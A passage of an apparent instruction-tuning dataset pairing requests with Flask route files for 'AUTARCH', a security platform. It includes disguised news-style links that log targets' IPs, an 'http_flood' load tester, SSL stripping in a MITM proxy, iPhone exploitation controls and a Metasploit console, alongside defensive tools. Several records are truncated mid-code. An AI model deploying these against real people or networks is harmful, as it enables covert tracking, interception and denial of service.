required'})\n if not target.startswith(('http://', 'https://')):\n target = 'https://' + target\n result = _svc().create_link(\n target_url=target,\n name=data.get('name', ''),\n disguise=data.get('disguise', 'article'),\n )\n return jsonify(result)\n\n\n@ipcapture_bp.route('/ipcapture/links/<key>', methods=['GET'])\n@login_required\ndef get_link(key):\n svc = _svc()\n link = svc.get_link(key)\n if not link:\n return jsonify({'ok': False, 'error': 'Link not found'})\n link['stats'] = svc.get_stats(key)\n return jsonify({'ok': True, 'link': link})\n\n\n@ipcapture_bp.route('/ipcapture/links/<key>', methods=['DELETE'])\n@login_required\ndef delete_link(key):\n if _svc().delete_link(key):\n return jsonify({'ok': True})\n return jsonify({'ok': False, 'error': 'Link not found'})\n\n\n@ipcapture_bp.route('/ipcapture/links/<key>/export')\n@login_required\ndef export_captures(key):\n fmt = request.args.get('format', 'json')\n data = _svc().export_captures(key, fmt)\n mime = 'text/csv' if fmt == 'csv' else 'application/json'\n ext = 'csv' if fmt == 'csv' else 'json'\n return Response(data, mimetype=mime,\n headers={'Content-Disposition': f'attachment; filename=captures_{key}.{ext}'})\n\n\n# ── Capture Endpoints (NO AUTH — accessed by targets) ────────────────────────\n\n@ipcapture_bp.route('/c/<key>')\ndef capture_short(key):\n \"\"\"Short capture URL — /c/xxxxx\"\"\"\n return _do_capture(key)\n\n\n@ipcapture_bp.route('/article/<path:subpath>')\ndef capture_article(subpath):\n \"\"\"Article-style capture URL — /article/2026/03/title-slug\"\"\"\n svc = _svc()\n full_path = '/article/' + subpath\n link = svc.find_by_path(full_path)\n if not link:\n return Response('Not Found', status=404)\n return _do_capture(link['key'])\n\n\n@ipcapture_bp.route('/news/<path:subpath>')\ndef capture_news(subpath):\n \"\"\"News-style capture URL.\"\"\"\n svc = _svc()\n full_path = '/news/' + subpath\n link = svc.find_by_path(full_path)\n if not link:\n return Response('Not Found', status=404)\n return _do_capture(link['key'])\n\n\n@ipcapture_bp.route('/stories/<path:subpath>')\ndef capture_stories(subpath):\n \"\"\"Stories-style capture URL.\"\"\"\n svc = _svc()\n full_path = '/stories/' + subpath\n link = svc.find_by_path(full_path)\n if not link:\n return Respo
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Iphone Exploit' feature. It should have a blueprint with url_prefix='/iphone-exploit', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 35 route handlers.", "input": "Feature: Iphone Exploit\nBlueprint: iphone_exploit_bp\nPrefix: /iphone-exploit\nRoutes: 35", "output": "\"\"\"iPhone Exploitation routes - Local USB device access via libimobiledevice.\"\"\"\n\nimport os\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\niphone_exploit_bp = Blueprint('iphone_exploit', __name__, url_prefix='/iphone-exploit')\n\n\ndef _get_mgr():\n from core.iphone_exploit import get_iphone_manager\n return get_iphone_manager()\n\n\ndef _get_udid():\n data = request.get_json(silent=True) or {}\n udid = data.get('udid', '').strip()\n if not udid:\n return None, jsonify({'error': 'No UDID provided'})\n return udid, None\n\n\n@iphone_exploit_bp.route('/')\n@login_required\ndef index():\n mgr = _get_mgr()\n status = mgr.get_status()\n return render_template('iphone_exploit.html', status=status)\n\n\n# ── Device Management ────────────────────────────────────────────\n\n@iphone_exploit_bp.route('/devices', methods=['POST'])\n@login_required\ndef list_devices():\n return jsonify({'devices': _get_mgr().list_devices()})\n\n\n@iphone_exploit_bp.route('/device-info', methods=['POST'])\n@login_required\ndef device_info():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().device_info(udid))\n\n\n@iphone_exploit_bp.route('/fingerprint', methods=['POST'])\n@login_required\ndef fingerprint():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().full_fingerprint(udid))\n\n\n@iphone_exploit_bp.route('/pair', methods=['POST'])\n@login_required\ndef pair():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().pair_device(udid))\n\n\n@iphone_exploit_bp.route('/unpair', methods=['POST'])\n@login_required\ndef unpair():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().unpair_device(udid))\n\n\n@iphone_exploit_bp.route('/validate-pair', methods=['POST'])\n@login_required\ndef validate_pair():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().validate_pair(udid))\n\n\n@iphone_exploit_bp.route('/get-name', methods=['POST'])\n@login_required\ndef get_name():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().get_name(udid))\n\n\n@iphone_exploit_bp.route('/set-name', methods=['POST'])\n@login_required\ndef set_name():\n udid, err = _get_udid()\n if err:\n return err\n data = request.get_json(silent=True) or {}\n name = data.get('name', '').strip()\n if not name:\n return jsonify({'error': 'No name provided'})\n return jsonify(_get_mgr().set_name(udid, name))\n\n\n@iphone_exploit_bp.route('/restart', methods=['POST'])\n@login_required\ndef restart():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().restart_device(udid))\n\n\n@iphone_exploit_bp.route('/shutdown', methods=['POST'])\n@login_required\ndef shutdown():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().shutdown_device(udid))\n\n\n@iphone_exploit_bp.route('/sleep', methods=['POST'])\n@login_required\ndef sleep_dev():\n udid, err = _get_udid()\n if err:\n return err\n return jsonify(_get_mgr().sleep_device(udid))\n\n\n# ── Capture ──────────────────────────────────────────────────────\n\n@iphone_exploit_bp.route('/screenshot', methods=['POST'])\n@login_required\ndef screenshot():\n udid, err = _get_udid()\n if err:\n return err
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Llm Trainer' feature. It should have a blueprint with url_prefix='/llm-trainer', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 18 route handlers.", "input": "Feature: Llm Trainer\nBlueprint: llm_trainer_bp\nPrefix: /llm-trainer\nRoutes: 18", "output": "\"\"\"LLM Trainer routes — dataset generation, fine-tuning, GGUF conversion.\"\"\"\n\nimport json\nfrom flask import Blueprint, render_template, request, jsonify, Response, stream_with_context\nfrom web.auth import login_required\n\nllm_trainer_bp = Blueprint('llm_trainer', __name__, url_prefix='/llm-trainer')\n\n\ndef _get_trainer():\n from modules.llm_trainer import get_trainer\n return get_trainer()\n\n\n# ==================== PAGE ====================\n\n@llm_trainer_bp.route('/')\n@login_required\ndef index():\n return render_template('llm_trainer.html')\n\n\n# ==================== DEPENDENCIES ====================\n\n@llm_trainer_bp.route('/deps', methods=['POST'])\n@login_required\ndef check_deps():\n \"\"\"Check training dependencies.\"\"\"\n return jsonify(_get_trainer().check_dependencies())\n\n\n@llm_trainer_bp.route('/deps/install', methods=['POST'])\n@login_required\ndef install_deps():\n \"\"\"Install training dependencies.\"\"\"\n results = _get_trainer().install_dependencies()\n return jsonify({'results': results})\n\n\n# ==================== CODEBASE ====================\n\n@llm_trainer_bp.route('/scan', methods=['POST'])\n@login_required\ndef scan_codebase():\n \"\"\"Scan the AUTARCH codebase.\"\"\"\n return jsonify(_get_trainer().scan_codebase())\n\n\n# ==================== DATASET ====================\n\n@llm_trainer_bp.route('/dataset/generate', methods=['POST'])\n@login_required\ndef generate_dataset():\n \"\"\"Generate training dataset from codebase.\"\"\"\n data = request.get_json(silent=True) or {}\n result = _get_trainer().generate_dataset(\n format=data.get('format', 'sharegpt'),\n include_source=data.get('include_source', True),\n include_qa=data.get('include_qa', True),\n include_module_creation=data.get('include_module_creation', True),\n )\n return jsonify(result)\n\n\n@llm_trainer_bp.route('/dataset/list')\n@login_required\ndef list_datasets():\n \"\"\"List generated datasets.\"\"\"\n return jsonify({'datasets': _get_trainer().list_datasets()})\n\n\n@llm_trainer_bp.route('/dataset/preview', methods=['POST'])\n@login_required\ndef preview_dataset():\n \"\"\"Preview samples from a dataset.\"\"\"\n data = request.get_json(silent=True) or {}\n filename = data.get('filename', '')\n limit = int(data.get('limit', 10))\n return jsonify(_get_trainer().preview_dataset(filename, limit))\n\n\n@llm_trainer_bp.route('/dataset/delete', methods=['POST'])\n@login_required\ndef delete_dataset():\n \"\"\"Delete a dataset file.\"\"\"\n data = request.get_json(silent=True) or {}\n filename = data.get('filename', '')\n success = _get_trainer().delete_dataset(filename)\n return jsonify({'success': success})\n\n\n# ==================== MODEL BROWSER ====================\n\n@llm_trainer_bp.route('/browse', methods=['POST'])\n@login_required\ndef browse_models():\n \"\"\"Browse local directories for model files.\"\"\"\n data = request.get_json(silent=True) or {}\n directory = data.get('directory', '')\n return jsonify(_get_trainer().browse_models(directory))\n\n\n# ==================== TRAINING ====================\n\n@llm_trainer_bp.route('/train/config')\n@login_required\ndef get_training_config():\n \"\"\"Get default training configuration.\"\"\"\n return jsonify(_get_trainer().get_training_config())\n\n\n@llm_trainer_bp.route('/train/start', methods=['POST'])\n@login_required\ndef start_training():\n \"\"\"Start LoRA fine-tuning.\"\"\"\n config = request.get_json(silent=True) or {}\n return jsonify(_get_trainer().start_training(config))\n\n\n@llm_trainer_bp.route('/train/status')\n@login_required\ndef training_status():\
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Loadtest' feature. It should have a blueprint with url_prefix='/loadtest', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 7 route handlers.", "input": "Feature: Loadtest\nBlueprint: loadtest_bp\nPrefix: /loadtest\nRoutes: 7", "output": "\"\"\"Load testing web routes — start/stop/monitor load tests from the web UI.\"\"\"\n\nimport json\nimport queue\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\nloadtest_bp = Blueprint('loadtest', __name__, url_prefix='/loadtest')\n\n\n@loadtest_bp.route('/')\n@login_required\ndef index():\n return render_template('loadtest.html')\n\n\n@loadtest_bp.route('/start', methods=['POST'])\n@login_required\ndef start():\n \"\"\"Start a load test.\"\"\"\n data = request.get_json(silent=True) or {}\n target = data.get('target', '').strip()\n if not target:\n return jsonify({'ok': False, 'error': 'Target is required'})\n\n try:\n from modules.loadtest import get_load_tester\n tester = get_load_tester()\n\n if tester.running:\n return jsonify({'ok': False, 'error': 'A test is already running'})\n\n config = {\n 'target': target,\n 'attack_type': data.get('attack_type', 'http_flood'),\n 'workers': int(data.get('workers', 10)),\n 'duration': int(data.get('duration', 30)),\n 'requests_per_worker': int(data.get('requests_per_worker', 0)),\n 'ramp_pattern': data.get('ramp_pattern', 'constant'),\n 'ramp_duration': int(data.get('ramp_duration', 0)),\n 'method': data.get('method', 'GET'),\n 'headers': data.get('headers', {}),\n 'body': data.get('body', ''),\n 'timeout': int(data.get('timeout', 10)),\n 'follow_redirects': data.get('follow_redirects', True),\n 'verify_ssl': data.get('verify_ssl', False),\n 'rotate_useragent': data.get('rotate_useragent', True),\n 'custom_useragent': data.get('custom_useragent', ''),\n 'rate_limit': int(data.get('rate_limit', 0)),\n 'payload_size': int(data.get('payload_size', 1024)),\n }\n\n tester.start(config)\n return jsonify({'ok': True, 'message': 'Test started'})\n except Exception as e:\n return jsonify({'ok': False, 'error': str(e)})\n\n\n@loadtest_bp.route('/stop', methods=['POST'])\n@login_required\ndef stop():\n \"\"\"Stop the running load test.\"\"\"\n try:\n from modules.loadtest import get_load_tester\n tester = get_load_tester()\n tester.stop()\n return jsonify({'ok': True})\n except Exception as e:\n return jsonify({'ok': False, 'error': str(e)})\n\n\n@loadtest_bp.route('/pause', methods=['POST'])\n@login_required\ndef pause():\n \"\"\"Pause the running load test.\"\"\"\n try:\n from modules.loadtest import get_load_tester\n tester = get_load_tester()\n tester.pause()\n return jsonify({'ok': True})\n except Exception as e:\n return jsonify({'ok': False, 'error': str(e)})\n\n\n@loadtest_bp.route('/resume', methods=['POST'])\n@login_required\ndef resume():\n \"\"\"Resume a paused load test.\"\"\"\n try:\n from modules.loadtest import get_load_tester\n tester = get_load_tester()\n tester.resume()\n return jsonify({'ok': True})\n except Exception as e:\n return jsonify({'ok': False, 'error': str(e)})\n\n\n@loadtest_bp.route('/status')\n@login_required\ndef status():\n \"\"\"Get current test status and metrics.\"\"\"\n try:\n from modules.loadtest import get_load_tester\n tester = get_load_tester()\n metrics = tester.metrics.to_dict() if tester.running else {}\n return jsonify({\n 'running': tester.running,\n 'paused': not tester._pause_event.is_set() if tester.running else False,\n 'metrics': metrics,\n })\n e
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Log Correlator' feature. It should have a blueprint with url_prefix='/logs', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 10 route handlers.", "input": "Feature: Log Correlator\nBlueprint: log_correlator_bp\nPrefix: /logs\nRoutes: 10", "output": "\"\"\"Log Correlator routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nlog_correlator_bp = Blueprint('log_correlator', __name__, url_prefix='/logs')\n\ndef _get_engine():\n from modules.log_correlator import get_log_correlator\n return get_log_correlator()\n\n@log_correlator_bp.route('/')\n@login_required\ndef index():\n return render_template('log_correlator.html')\n\n@log_correlator_bp.route('/ingest/file', methods=['POST'])\n@login_required\ndef ingest_file():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().ingest_file(data.get('path', ''), data.get('source')))\n\n@log_correlator_bp.route('/ingest/text', methods=['POST'])\n@login_required\ndef ingest_text():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_engine().ingest_text(data.get('text', ''), data.get('source', 'paste')))\n\n@log_correlator_bp.route('/search')\n@login_required\ndef search():\n return jsonify(_get_engine().search_logs(\n request.args.get('q', ''), request.args.get('source'),\n int(request.args.get('limit', 100))\n ))\n\n@log_correlator_bp.route('/alerts', methods=['GET', 'DELETE'])\n@login_required\ndef alerts():\n if request.method == 'DELETE':\n _get_engine().clear_alerts()\n return jsonify({'ok': True})\n return jsonify(_get_engine().get_alerts(\n request.args.get('severity'), int(request.args.get('limit', 100))\n ))\n\n@log_correlator_bp.route('/rules', methods=['GET', 'POST', 'DELETE'])\n@login_required\ndef rules():\n engine = _get_engine()\n if request.method == 'POST':\n data = request.get_json(silent=True) or {}\n return jsonify(engine.add_rule(\n rule_id=data.get('id', ''), name=data.get('name', ''),\n pattern=data.get('pattern', ''), severity=data.get('severity', 'medium'),\n threshold=data.get('threshold', 1), window_seconds=data.get('window_seconds', 0),\n description=data.get('description', '')\n ))\n elif request.method == 'DELETE':\n data = request.get_json(silent=True) or {}\n return jsonify(engine.remove_rule(data.get('id', '')))\n return jsonify(engine.get_rules())\n\n@log_correlator_bp.route('/stats')\n@login_required\ndef stats():\n return jsonify(_get_engine().get_stats())\n\n@log_correlator_bp.route('/sources')\n@login_required\ndef sources():\n return jsonify(_get_engine().get_sources())\n\n@log_correlator_bp.route('/timeline')\n@login_required\ndef timeline():\n return jsonify(_get_engine().get_timeline(int(request.args.get('hours', 24))))\n\n@log_correlator_bp.route('/clear', methods=['POST'])\n@login_required\ndef clear():\n _get_engine().clear_logs()\n return jsonify({'ok': True})\n", "type": "route_creation", "source_file": "web/routes/log_correlator.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Malware Sandbox' feature. It should have a blueprint with url_prefix='/sandbox', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 9 route handlers.", "input": "Feature: Malware Sandbox\nBlueprint: malware_sandbox_bp\nPrefix: /sandbox\nRoutes: 9", "output": "\"\"\"Malware Sandbox routes.\"\"\"\nimport os\nfrom flask import Blueprint, request, jsonify, render_template, current_app\nfrom web.auth import login_required\n\nmalware_sandbox_bp = Blueprint('malware_sandbox', __name__, url_prefix='/sandbox')\n\ndef _get_sandbox():\n from modules.malware_sandbox import get_sandbox\n return get_sandbox()\n\n@malware_sandbox_bp.route('/')\n@login_required\ndef index():\n return render_template('malware_sandbox.html')\n\n@malware_sandbox_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_sandbox().get_status())\n\n@malware_sandbox_bp.route('/submit', methods=['POST'])\n@login_required\ndef submit():\n sb = _get_sandbox()\n if request.content_type and 'multipart' in request.content_type:\n f = request.files.get('sample')\n if not f:\n return jsonify({'ok': False, 'error': 'No file uploaded'})\n upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')\n filepath = os.path.join(upload_dir, f.filename)\n f.save(filepath)\n return jsonify(sb.submit_sample(filepath, f.filename))\n else:\n data = request.get_json(silent=True) or {}\n return jsonify(sb.submit_sample(data.get('path', ''), data.get('name')))\n\n@malware_sandbox_bp.route('/samples')\n@login_required\ndef samples():\n return jsonify(_get_sandbox().list_samples())\n\n@malware_sandbox_bp.route('/static', methods=['POST'])\n@login_required\ndef static_analysis():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_sandbox().static_analysis(data.get('path', '')))\n\n@malware_sandbox_bp.route('/dynamic', methods=['POST'])\n@login_required\ndef dynamic_analysis():\n data = request.get_json(silent=True) or {}\n job_id = _get_sandbox().dynamic_analysis(data.get('path', ''), data.get('timeout', 60))\n return jsonify({'ok': bool(job_id), 'job_id': job_id})\n\n@malware_sandbox_bp.route('/report', methods=['POST'])\n@login_required\ndef generate_report():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_sandbox().generate_report(data.get('path', '')))\n\n@malware_sandbox_bp.route('/reports')\n@login_required\ndef reports():\n return jsonify(_get_sandbox().list_reports())\n\n@malware_sandbox_bp.route('/job/<job_id>')\n@login_required\ndef job_status(job_id):\n job = _get_sandbox().get_job(job_id)\n return jsonify(job or {'error': 'Job not found'})\n", "type": "route_creation", "source_file": "web/routes/malware_sandbox.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Mitm Proxy' feature. It should have a blueprint with url_prefix='/mitm-proxy', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 16 route handlers.", "input": "Feature: Mitm Proxy\nBlueprint: mitm_proxy_bp\nPrefix: /mitm-proxy\nRoutes: 16", "output": "\"\"\"MITM Proxy routes.\"\"\"\n\nfrom flask import Blueprint, request, jsonify, render_template, Response\nfrom web.auth import login_required\n\nmitm_proxy_bp = Blueprint('mitm_proxy', __name__, url_prefix='/mitm-proxy')\n\n\ndef _get_proxy():\n from modules.mitm_proxy import get_mitm_proxy\n return get_mitm_proxy()\n\n\n# ── Pages ────────────────────────────────────────────────────────────────\n\n@mitm_proxy_bp.route('/')\n@login_required\ndef index():\n return render_template('mitm_proxy.html')\n\n\n# ── Proxy Lifecycle ──────────────────────────────────────────────────────\n\n@mitm_proxy_bp.route('/start', methods=['POST'])\n@login_required\ndef start():\n data = request.get_json(silent=True) or {}\n result = _get_proxy().start(\n listen_host=data.get('host', '127.0.0.1'),\n listen_port=int(data.get('port', 8888)),\n upstream_proxy=data.get('upstream', None),\n )\n return jsonify(result)\n\n\n@mitm_proxy_bp.route('/stop', methods=['POST'])\n@login_required\ndef stop():\n return jsonify(_get_proxy().stop())\n\n\n@mitm_proxy_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_proxy().get_status())\n\n\n# ── SSL Strip ────────────────────────────────────────────────────────────\n\n@mitm_proxy_bp.route('/ssl-strip', methods=['POST'])\n@login_required\ndef ssl_strip():\n data = request.get_json(silent=True) or {}\n enabled = data.get('enabled', True)\n return jsonify(_get_proxy().ssl_strip_mode(enabled))\n\n\n# ── Certificate Management ──────────────────────────────────────────────\n\n@mitm_proxy_bp.route('/cert/generate', methods=['POST'])\n@login_required\ndef cert_generate():\n return jsonify(_get_proxy().generate_ca_cert())\n\n\n@mitm_proxy_bp.route('/cert')\n@login_required\ndef cert_download():\n result = _get_proxy().get_ca_cert()\n if not result.get('success'):\n return jsonify(result), 404\n # Return PEM as downloadable file\n return Response(\n result['pem'],\n mimetype='application/x-pem-file',\n headers={'Content-Disposition': 'attachment; filename=autarch-ca.pem'}\n )\n\n\n@mitm_proxy_bp.route('/certs')\n@login_required\ndef cert_list():\n return jsonify({'certs': _get_proxy().get_certs()})\n\n\n# ── Rules ────────────────────────────────────────────────────────────────\n\n@mitm_proxy_bp.route('/rules', methods=['POST'])\n@login_required\ndef add_rule():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_proxy().add_rule(data))\n\n\n@mitm_proxy_bp.route('/rules/<int:rule_id>', methods=['DELETE'])\n@login_required\ndef remove_rule(rule_id):\n return jsonify(_get_proxy().remove_rule(rule_id))\n\n\n@mitm_proxy_bp.route('/rules')\n@login_required\ndef list_rules():\n return jsonify({'rules': _get_proxy().list_rules()})\n\n\n@mitm_proxy_bp.route('/rules/<int:rule_id>/toggle', methods=['POST'])\n@login_required\ndef toggle_rule(rule_id):\n proxy = _get_proxy()\n for rule in proxy.list_rules():\n if rule['id'] == rule_id:\n if rule['enabled']:\n return jsonify(proxy.disable_rule(rule_id)
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Module Creator' feature. It should have a blueprint with url_prefix='/module-creator', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 7 route handlers.", "input": "Feature: Module Creator\nBlueprint: module_creator_bp\nPrefix: /module-creator\nRoutes: 7", "output": "\"\"\"Module Creator route - create, edit, validate, and manage AUTARCH modules\"\"\"\n\nimport ast\nimport os\nimport re\nfrom datetime import datetime\nfrom pathlib import Path\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\nmodule_creator_bp = Blueprint('module_creator', __name__, url_prefix='/module-creator')\n\nMODULES_DIR = Path(__file__).parent.parent.parent / 'modules'\n\nCATEGORIES = ['defense', 'offense', 'counter', 'analyze', 'osint', 'simulate', 'core', 'hardware']\n\nCATEGORY_DESCRIPTIONS = {\n 'defense': 'Defensive security module for monitoring, hardening, and threat detection',\n 'offense': 'Offensive security module for penetration testing and exploitation',\n 'counter': 'Counter-intelligence module for anti-surveillance and evasion',\n 'analyze': 'Analysis module for forensics, traffic inspection, and data processing',\n 'osint': 'Open-source intelligence gathering and reconnaissance module',\n 'simulate': 'Simulation module for attack modeling and scenario testing',\n 'core': 'Core infrastructure module for platform internals and utilities',\n 'hardware': 'Hardware interface module for RF, BLE, RFID, SDR, and embedded devices',\n}\n\n\ndef _module_skeleton(name, category, description, author):\n \"\"\"Generate skeleton code for a new module.\"\"\"\n return f'''\"\"\"\n{description}\n\"\"\"\n\nDESCRIPTION = \"{description}\"\nAUTHOR = \"{author}\"\nVERSION = \"1.0\"\nCATEGORY = \"{category}\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\n\ndef run():\n \"\"\"Main entry point.\"\"\"\n clear_screen()\n display_banner()\n print(f\"{{Colors.BOLD}}{name}{{Colors.RESET}}\")\n print(f\"{{Colors.DIM}}{{\"─\" * 50}}{{Colors.RESET}}\\\\n\")\n\n # TODO: Implement module logic here\n print(f\"{{Colors.GREEN}}[+] Module loaded successfully{{Colors.RESET}}\")\n\n\nif __name__ == \"__main__\":\n run()\n'''\n\n\ndef _parse_module_metadata(filepath):\n \"\"\"Extract metadata from a module file.\"\"\"\n meta = {\n 'name': filepath.stem,\n 'category': 'unknown',\n 'description': '',\n 'version': '',\n 'author': '',\n 'file_size': filepath.stat().st_size,\n 'last_modified': datetime.fromtimestamp(filepath.stat().st_mtime).strftime('%Y-%m-%d %H:%M'),\n }\n try:\n source = filepath.read_text(errors='replace')\n tree = ast.parse(source)\n for node in ast.walk(tree):\n if isinstance(node, ast.Assign):\n for target in node.targets:\n if isinstance(target, ast.Name) and isinstance(node.value, ast.Constant):\n if target.id == 'DESCRIPTION':\n meta['description'] = str(node.value.value)\n elif target.id == 'CATEGORY':\n meta['category'] = str(node.value.value)\n elif target.id == 'VERSION':\n meta['version'] = str(node.value.value)\n elif target.id == 'AUTHOR':\n meta['author'] = str(node.value.value)\n except Exception:\n pass\n return meta\n\n\n@module_creator_bp.route('/')\n@login_required\ndef index():\n return render_template('module_creator.html')\n\n\n@module_creator_bp.route('/templates')\n@login_required\ndef templates():\n \"\"\"Return skeleton templates for each category.\"\"\"\n result = []\n for cat in CATEGORIES:\n result.append({\n 'name': f'new_{cat}_module',\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Msf' feature. It should have a blueprint with url_prefix='/msf', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 4 route handlers.", "input": "Feature: Msf\nBlueprint: msf_bp\nPrefix: /msf\nRoutes: 4", "output": "\"\"\"MSF RPC Console page — raw console interaction and connection management.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\nmsf_bp = Blueprint('msf', __name__, url_prefix='/msf')\n\n\n@msf_bp.route('/')\n@login_required\ndef index():\n return render_template('msf.html')\n\n\n@msf_bp.route('/status')\n@login_required\ndef status():\n \"\"\"Check MSF connection status.\"\"\"\n try:\n from core.msf_interface import get_msf_interface\n msf = get_msf_interface()\n result = {'connected': msf.is_connected}\n if msf.is_connected:\n try:\n settings = msf.manager.get_settings()\n result['host'] = settings.get('host', 'localhost')\n result['port'] = settings.get('port', 55553)\n except Exception:\n pass\n return jsonify(result)\n except Exception:\n return jsonify({'connected': False})\n\n\n@msf_bp.route('/connect', methods=['POST'])\n@login_required\ndef connect():\n \"\"\"Reconnect to MSF RPC.\"\"\"\n try:\n from core.msf_interface import get_msf_interface\n msf = get_msf_interface()\n ok, msg = msf.ensure_connected()\n return jsonify({'connected': ok, 'message': msg})\n except Exception as e:\n return jsonify({'connected': False, 'error': str(e)})\n\n\n@msf_bp.route('/console/send', methods=['POST'])\n@login_required\ndef console_send():\n \"\"\"Send a command to the MSF console and return output.\"\"\"\n data = request.get_json(silent=True) or {}\n cmd = data.get('cmd', '').strip()\n if not cmd:\n return jsonify({'output': ''})\n try:\n from core.msf_interface import get_msf_interface\n msf = get_msf_interface()\n if not msf.is_connected:\n return jsonify({'error': 'Not connected to MSF RPC'})\n ok, output = msf.run_console_command(cmd)\n return jsonify({'output': output, 'ok': ok})\n except Exception as e:\n return jsonify({'error': str(e)})\n", "type": "route_creation", "source_file": "web/routes/msf.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Net Mapper' feature. It should have a blueprint with url_prefix='/net_mapper', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 9 route handlers.", "input": "Feature: Net Mapper\nBlueprint: net_mapper_bp\nPrefix: None\nRoutes: 9", "output": "\"\"\"Network Topology Mapper — web routes.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\nnet_mapper_bp = Blueprint('net_mapper', __name__)\n\n\ndef _svc():\n from modules.net_mapper import get_net_mapper\n return get_net_mapper()\n\n\n@net_mapper_bp.route('/net-mapper/')\n@login_required\ndef index():\n return render_template('net_mapper.html')\n\n\n@net_mapper_bp.route('/net-mapper/discover', methods=['POST'])\n@login_required\ndef discover():\n data = request.get_json(silent=True) or {}\n target = data.get('target', '').strip()\n if not target:\n return jsonify({'ok': False, 'error': 'Target required'})\n return jsonify(_svc().discover_hosts(target, method=data.get('method', 'auto')))\n\n\n@net_mapper_bp.route('/net-mapper/discover/<job_id>', methods=['GET'])\n@login_required\ndef discover_status(job_id):\n return jsonify(_svc().get_job_status(job_id))\n\n\n@net_mapper_bp.route('/net-mapper/scan-host', methods=['POST'])\n@login_required\ndef scan_host():\n data = request.get_json(silent=True) or {}\n ip = data.get('ip', '').strip()\n if not ip:\n return jsonify({'ok': False, 'error': 'IP required'})\n return jsonify(_svc().scan_host(ip,\n port_range=data.get('port_range', '1-1024'),\n service_detection=data.get('service_detection', True),\n os_detection=data.get('os_detection', True)))\n\n\n@net_mapper_bp.route('/net-mapper/topology', methods=['POST'])\n@login_required\ndef build_topology():\n data = request.get_json(silent=True) or {}\n hosts = data.get('hosts', [])\n return jsonify({'ok': True, **_svc().build_topology(hosts)})\n\n\n@net_mapper_bp.route('/net-mapper/scans', methods=['GET'])\n@login_required\ndef list_scans():\n return jsonify({'ok': True, 'scans': _svc().list_scans()})\n\n\n@net_mapper_bp.route('/net-mapper/scans', methods=['POST'])\n@login_required\ndef save_scan():\n data = request.get_json(silent=True) or {}\n name = data.get('name', 'unnamed')\n hosts = data.get('hosts', [])\n return jsonify(_svc().save_scan(name, hosts))\n\n\n@net_mapper_bp.route('/net-mapper/scans/<filename>', methods=['GET'])\n@login_required\ndef load_scan(filename):\n data = _svc().load_scan(filename)\n if data:\n return jsonify({'ok': True, 'scan': data})\n return jsonify({'ok': False, 'error': 'Scan not found'})\n\n\n@net_mapper_bp.route('/net-mapper/diff', methods=['POST'])\n@login_required\ndef diff_scans():\n data = request.get_json(silent=True) or {}\n return jsonify(_svc().diff_scans(data.get('scan1', ''), data.get('scan2', '')))\n", "type": "route_creation", "source_file": "web/routes/net_mapper.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Network' feature. It should have a blueprint with url_prefix='/network', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 12 route handlers.", "input": "Feature: Network\nBlueprint: network_bp\nPrefix: /network\nRoutes: 12", "output": "\"\"\"Network Security — connections, IDS, rogue device detection, monitoring.\"\"\"\n\nimport json\nimport logging\nimport os\nimport platform\nimport re\nimport subprocess\nimport threading\nimport time\nfrom collections import deque\nfrom datetime import datetime, timezone\nfrom pathlib import Path\n\nfrom flask import Blueprint, render_template, request, jsonify, Response\n\nfrom web.auth import login_required\n\nlogger = logging.getLogger(__name__)\n\nnetwork_bp = Blueprint('network', __name__, url_prefix='/network')\n\n# ── Paths ────────────────────────────────────────────────────────────────────\nDATA_DIR = Path(__file__).parent.parent.parent / 'data' / 'network'\nKNOWN_DEVICES_FILE = DATA_DIR / 'known_devices.json'\n\n# ── Monitor state ────────────────────────────────────────────────────────────\n_monitor_active = False\n_monitor_thread = None\n_monitor_buffer = deque(maxlen=500)\n_monitor_lock = threading.Lock()\n\n# ── Helpers 